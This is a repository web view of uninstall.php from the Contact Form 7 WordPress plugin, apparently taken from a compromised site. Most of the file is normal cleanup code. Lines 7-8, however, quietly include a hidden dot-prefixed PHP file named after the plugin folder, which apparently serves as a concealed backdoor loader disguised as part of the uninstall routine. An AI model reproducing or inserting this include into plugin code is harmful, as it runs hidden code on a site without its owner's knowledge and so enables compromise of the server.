balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

uninstall.php (683B)


      1 <?php
      2 
      3 if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
      4 	exit();
      5 }
      6 
      7 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      8     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      9 }
     10 
     11 function wpcf7_delete_plugin() {
     12 	global $wpdb;
     13 
     14 	delete_option( 'wpcf7' );
     15 
     16 	$posts = get_posts(
     17 		array(
     18 			'numberposts' => -1,
     19 			'post_type' => 'wpcf7_contact_form',
     20 			'post_status' => 'any',
     21 		)
     22 	);
     23 
     24 	foreach ( $posts as $post ) {
     25 		wp_delete_post( $post->ID, true );
     26 	}
     27 
     28 	$wpdb->query( sprintf( "DROP TABLE IF EXISTS %s",
     29 		$wpdb->prefix . 'contact_form_7' ) );
     30 }
     31 
     32 wpcf7_delete_plugin();